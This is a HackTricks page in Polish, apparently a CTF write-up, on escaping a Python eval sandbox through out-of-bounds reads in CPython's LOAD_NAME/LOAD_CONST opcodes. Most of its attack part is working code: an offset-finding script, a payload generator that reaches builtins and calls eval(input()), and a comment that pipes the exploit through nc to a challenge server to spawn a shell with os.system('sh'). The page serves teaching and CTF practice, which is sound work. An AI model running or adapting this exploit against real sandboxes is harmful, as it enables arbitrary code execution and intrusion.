LOAD_NAME / LOAD_CONST opcode OOB Read
Reading time: 6 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Te informacje zostały wzięte z tego opisu.
TL;DR
Możemy użyć funkcji OOB read w opcode LOAD_NAME / LOAD_CONST, aby uzyskać jakiś symbol w pamięci. Oznacza to użycie sztuczki takiej jak (a, b, c, ... setki symboli ..., __getattribute__) if [] else [].__getattribute__(...)
, aby uzyskać symbol (taki jak nazwa funkcji), którego chcesz.
Następnie po prostu stwórz swój exploit.
Overview
Kod źródłowy jest dość krótki, zawiera tylko 4 linie!
source = input('>>> ')
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234
Możesz wprowadzić dowolny kod Pythona, a zostanie on skompilowany do obiektu kodu Pythona. Jednak co_consts
i co_names
tego obiektu kodu zostaną zastąpione pustą krotką przed eval tego obiektu kodu.
W ten sposób wszystkie wyrażenia zawierające stałe (np. liczby, ciągi itp.) lub nazwy (np. zmienne, funkcje) mogą ostatecznie spowodować błąd segmentacji.
Odczyt poza zakresem
Jak dochodzi do błędu segmentacji?
Zacznijmy od prostego przykładu, [a, b, c]
może zostać skompilowane do następującego kodu bajtowego.
1 0 LOAD_NAME 0 (a)
2 LOAD_NAME 1 (b)
4 LOAD_NAME 2 (c)
6 BUILD_LIST 3
8 RETURN_VALUE12345
Ale co jeśli co_names
stanie się pustą krotką? Opcode LOAD_NAME 2
nadal jest wykonywany i próbuje odczytać wartość z tego adresu pamięci, z którego pierwotnie powinien być. Tak, to jest "cecha" odczytu poza zakresem.
Podstawowa koncepcja rozwiązania jest prosta. Niektóre opcodes w CPython, na przykład LOAD_NAME
i LOAD_CONST
, są podatne (?) na odczyt poza zakresem.
Odbierają obiekt z indeksu oparg
z krotki consts
lub names
(to jest to, co co_consts
i co_names
nazywają pod maską). Możemy odwołać się do poniższego krótkiego fragmentu dotyczącego LOAD_CONST
, aby zobaczyć, co CPython robi, gdy przetwarza opcode LOAD_CONST
.
case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}1234567
W ten sposób możemy użyć funkcji OOB, aby uzyskać "name" z dowolnego przesunięcia pamięci. Aby upewnić się, jaką nazwę ma i jakie jest jej przesunięcie, po prostu próbuj LOAD_NAME 0
, LOAD_NAME 1
... LOAD_NAME 99
... A możesz znaleźć coś przy oparg > 700. Możesz także spróbować użyć gdb, aby przyjrzeć się układowi pamięci, oczywiście, ale nie sądzę, że byłoby to łatwiejsze?
Generating the Exploit
Gdy odzyskamy te przydatne przesunięcia dla nazw / stałych, jak zdobijemy nazwę / stałą z tego przesunięcia i użyjemy jej? Oto sztuczka dla ciebie:
Załóżmy, że możemy uzyskać nazwę __getattribute__
z przesunięcia 5 (LOAD_NAME 5
) z co_names=()
, wtedy po prostu zrób następujące rzeczy:
[a,b,c,d,e,__getattribute__] if [] else [
[].__getattribute__
# you can get the __getattribute__ method of list object now!
]1234
Zauważ, że nie jest konieczne nazywanie tego
__getattribute__
, możesz nadać mu krótszą lub bardziej dziwną nazwę
Możesz zrozumieć powód, po prostu oglądając jego bajtowy kod:
0 BUILD_LIST 0
2 POP_JUMP_IF_FALSE 20
>> 4 LOAD_NAME 0 (a)
>> 6 LOAD_NAME 1 (b)
>> 8 LOAD_NAME 2 (c)
>> 10 LOAD_NAME 3 (d)
>> 12 LOAD_NAME 4 (e)
>> 14 LOAD_NAME 5 (__getattribute__)
16 BUILD_LIST 6
18 RETURN_VALUE
20 BUILD_LIST 0
>> 22 LOAD_ATTR 5 (__getattribute__)
24 BUILD_LIST 1
26 RETURN_VALUE1234567891011121314
Zauważ, że LOAD_ATTR
również pobiera nazwę z co_names
. Python ładuje nazwy z tej samej pozycji, jeśli nazwa jest taka sama, więc drugi __getattribute__
jest nadal ładowany z offsetu=5. Używając tej funkcji, możemy użyć dowolnej nazwy, gdy tylko nazwa znajduje się w pamięci w pobliżu.
Generowanie liczb powinno być trywialne:
- 0: not [[]]
- 1: not []
- 2: (not []) + (not [])
- ...
Exploit Script
Nie użyłem consts z powodu limitu długości.
Najpierw oto skrypt, który pomoże nam znaleźć te offsety nazw.
from types import CodeType
from opcode import opmap
from sys import argv
class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k
if __name__ == '__main__':
n = int(argv[1])
code = [
*([opmap['EXTENDED_ARG'], n // 256]
if n // 256 != 0 else []),
opmap['LOAD_NAME'], n % 256,
opmap['RETURN_VALUE'], 0
]
c = CodeType(
0, 0, 0, 0, 0, 0,
bytes(code),
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
)
ret = eval(c, {'__builtins__': MockBuiltins()})
if ret:
print(f'{n}: {ret}')
# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
A poniżej znajduje się generowanie prawdziwego exploita w Pythonie.
import sys
import unicodedata
class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'
# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'
_ = Generator()
names = []
chr_code = 0
for x in range(4700):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
names.append(char)
break
offsets = {
"__delitem__": 2800,
"__getattribute__": 2850,
'__dir__': 4693,
'__repr__': 2128,
}
variables = ('keys', 'keys2', 'None_', 'NoneType',
'm_repr', 'globals', 'builtins',)
for name, offset in offsets.items():
names[offset] = name
for i, var in enumerate(variables):
assert var not in offsets
names[792 + i] = var
source = f'''[
({",".join(names)}) if [] else [],
None_ := [[]].__delitem__({_(0)}),
keys := None_.__dir__(),
NoneType := None_.__getattribute__({_.__class__}),
keys2 := NoneType.__dir__(NoneType),
get := NoneType.__getattribute__,
m_repr := get(
get(get([],{_.__class__}),{_.__base__}),
{_.__subclasses__}
)()[-{_(2)}].__repr__,
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
builtins := globals[[*globals][{_(7)}]],
builtins[[*builtins][{_(19)}]](
builtins[[*builtins][{_(28)}]](), builtins
)
]'''.strip().replace('\n', '').replace(' ', '')
print(f"{len(source) = }", file=sys.stderr)
print(source)
# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
W zasadzie wykonuje następujące czynności, dla tych ciągów uzyskujemy je z metody __dir__
:
getattr = (None).__getattribute__('__class__').__getattribute__
builtins = getattr(
getattr(
getattr(
[].__getattribute__('__class__'),
'__base__'),
'__subclasses__'
)()[-2],
'__repr__').__getattribute__('__globals__')['builtins']
builtins['eval'](builtins['input']())
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.